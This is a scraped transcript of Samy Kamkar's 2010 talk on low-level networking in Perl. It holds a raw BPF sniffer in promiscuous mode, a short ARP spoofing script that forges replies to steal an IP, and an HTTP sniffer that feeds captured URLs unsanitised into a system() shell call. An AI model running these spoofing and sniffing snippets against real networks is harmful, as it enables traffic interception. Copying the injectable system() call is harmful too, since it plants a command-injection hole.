1 / 20

EXTREMELY LOW-LEVEL NETWORKING IN PERL

EXTREMELY LOW-LEVEL NETWORKING IN PERL. Samy Kamkar. May 26, 2010. Who is Samy?. Co-Founder of Fonality, IP PBX Company ”Narcissistic Vulnerability Pimp” (aka Security Researcher for fun) Passionate Perl Programmer Lady Gaga aficionado. Why am I talking?.

Download Presentation

EXTREMELY LOW-LEVEL NETWORKING IN PERL

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. EXTREMELY LOW-LEVEL NETWORKING IN PERL Samy Kamkar May 26, 2010

  2. Who is Samy? • Co-Founder of Fonality, IP PBX Company • ”Narcissistic Vulnerability Pimp” (aka Security Researcher for fun) • Passionate Perl Programmer • Lady Gaga aficionado

  3. Why am I talking? • Share the awesomeness of the packet • Prove that you can do low-level in Perl • Explain why packet-fu is useful • Provide examples of useful tools • Write portable, system-level software • I like turtles

  4. What can we do with this? • System-Level Software • Porting tools like tcpdump, ifconfig, lsof, arp, etc • Network Monitoring • Intrusion Detection Systems, Port Scanning • Packet sniffing/injection/pen testing • Deciphering protocols, packet “grepping” • Packet replaying, man-in-the-middling • Traffic/flow control, TCP session control • Browser following (HTTP sniffing) • Network mapping/fingerprinting • ARP spoofing, DNS spoofing

  5. So how do we do it? • Inline::C … cool, but NAH! • XS .. That’s a great way…but nope! • system() ? LOLOCOPTERS! • syscall() //;# low-level syscalls in perl! • syscall(SYS___sysctl, …) //;# sysctl in perl! • ioctl() //;# control special devices/FHs! • fcntl() //;# more control over devices! • pack/unpack //;# deal with binary strings • socket() //;# we’ll use this for some raw sockets • setsockopt() //;# more modifications to sockets

  6. The Basics: Automation • Don’t convert .h (headers) to perl • Perl will do it for you! • h2ph.pl (old school) • c2phear.pl, part of Packet • use Config.pm to tell you type sizes use Config; print $Config{“intsize”}; # 4

  7. The Basics: C Definitions/Sizes #define BPF_MAXBUFSIZE 0x80000 sub BPF_MAXBUFSIZE { 0x80000 } #define _IOC(inout,group,num,len) (inout | ((len & IOCPARM_MASK) << 16) | ((group) << 8) | (num)) sub _IOC { my ($inout, $group, $num, $len) = @_; ($inout | (($len & &IOCPARM_MASK) << 16) | (($group) << 8) | ($num)); } #define _IOR(g,n,t) _IOC(IOC_OUT, (g), (n), sizeof(t)) use Config; sub _IOR { my ($g, $n, $t) = @_; &_IOC( &IOC_OUT, $g, $n, $Config{$t . “size”}); }

  8. The Basics: C Structures sub bpf_program { my %struct = @_; my $len = length(bpf_insn()); pack(“Ia$len”, $struct{‘bf_len’}, bpf_insn($struct{‘*bf_insns’})); } sub bpf_insn { my %struct = @_; pack(“SaaI”, @struct{qw/ code jt jf k /} ); } // Use pack()/unpack() // to do these in perl! struct bpf_program { u_int bf_len; struct bpf_insn *bf_insns; }; struct bpf_insn { u_short code; u_char jt; u_char jf; bpf_u_int32 k; };

  9. sysctl() to get/set system info // from arp.c on OS X & FreeBSD int mib[6]; size_t needed; mib[0] = CTL_NET; mib[1] = PF_ROUTE; mib[2] = 0; mib[3] = AF_INET; mib[4] = NET_RT_FLAGS; mib[5] = RTF_LLINFO; sysctl(mib, 6, NULL, &needed, NULL, 0); # in Perl, $needed also updates without using a ref my $needed = “\0” x $Config{“intsize”}; my @mib = (&CTL_NET, &PF_ROUTE, 0, &AF_INET, &NET_RT_FLAGS, &RTF_LLINFO); my $mib = pack(‘i’ x @mib, @mib); syscall(&SYS___sysctl, $mib, 6, 0, $needed, 0, 0);

  10. ioctl() and raw devices # raw BPF sniffer in perl (no libpcap!), works on Linux, OS X, *BSD use Packet; # import our C definitions/structs/etc open(FD, "</dev/bpf0"); # open our BPF device $ifr = pack('a16@48', "eth0"); # set up network interface to be read ioctl(FD, &BIOCSETIF, $ifr); # attach network interface to bpf device ioctl(FD, &BIOCPROMISC, $undef); # go into promiscuous mode...naughty! ioctl(FD, &BIOCGBLEN, $size); # how much we can read at a time $buflen = unpack("l", $size); # our size is in ascii so get decimal while (1) { if (sysread(FD, $packet, $buflen)) # read in our bpf header { $bpf = bpf_hdr_unpack($packet); # unpack the bpf header substr($packet, 0, # remove bpf header from packet BPF_WORDALIGN($bpf->{bh_caplen} + $bpf->{bh_hdrlen}), undef); print $packet; # actual packet contents! } }

  11. A Portable Packet Sniffer use Packet; my $eth = new Packet::Ethernet; my $ip = new Packet::IP; my $s = Packet::Sniff->new(device => $DEVICE); # start monitoring $s->open() || die $s->{errbuf}; # open our device $s->loop(0, \&cf); # send packets to callback sub cf { my ($ud, $hdr, $pkt, $s) = @_; my ($time, $hi) = Time::HiRes::gettimeofday(); # high-res time $time = $1 if localtime($time) =~ /(\d+:\d+:\d+)/; # current time $eth->decode($pkt); # decode ethernet packet if ($eth->type == 0x0800) # 0x0800 == IP packet { $ip->decode($eth->data); # decode IP packet print "$time.$hi IP $ip->{src_ip} -> $ip->{dest_ip}: $ip->{proto}\n” unpack(“H*”, $pkt) . “\n”; # print packet + header } }

  12. This is your network.

  13. This is your network on drugs.

  14. ARP Spoofing ARP Spoofing

  15. ARP Spoofing – Simple! my $raw = new Packet::Inject(device => $device); # inject raw packets! my $eth = new Packet::Ethernet()->encode(); # eth pkt will broadcast my $arp = new Packet::ARP( sender_eth => "a:b:c:d:e:f", # our MAC target_eth => ”ff:ff:ff:ff:ff:ff", # broadcast sender_ip => ”10.0.0.1", # ip we’re stealing target_ip => ”1.2.3.4” # whatever )->encode(); # now we have a built packet $arp $raw->open(); # open our device for injection $raw->write(packet => $eth . $arp); # inject!!! $raw->close();

  16. Epic Browser Sniffing sub cf { my ($ud, $hdr, $pkt, $s) = @_; $eth->decode($pkt); # decode ethernet packet if ($eth->type == 0x0800) { # 0x0800 == IP packet $ip->decode($eth->data); # decode IP packet if ($ip->proto == 6) { # TCP packet $tcp->decode($ip->data); # decode TCP packet if ($tcp->dst_port == 80) { # HTTP packet # read HTTP header if ($tcp->data =~ /GET (\S+) HTTP.*?Host: (\S+)/s) { # use applescript to open our browser! system(“osascript -e 'tell application \"Safari\” to open location \"http://$2$1\”"); }}}}}

  17. Q&A A gentleman never asks. A lady never tells.

  18. Fin Packet (Perl module suite): samy.pl/packet h2ph: man h2ph pwnat: samy.pl/pwnat Samy Kamkar www.samy.pl samy@samy.pl twitter.com/SamyKamkar

More Related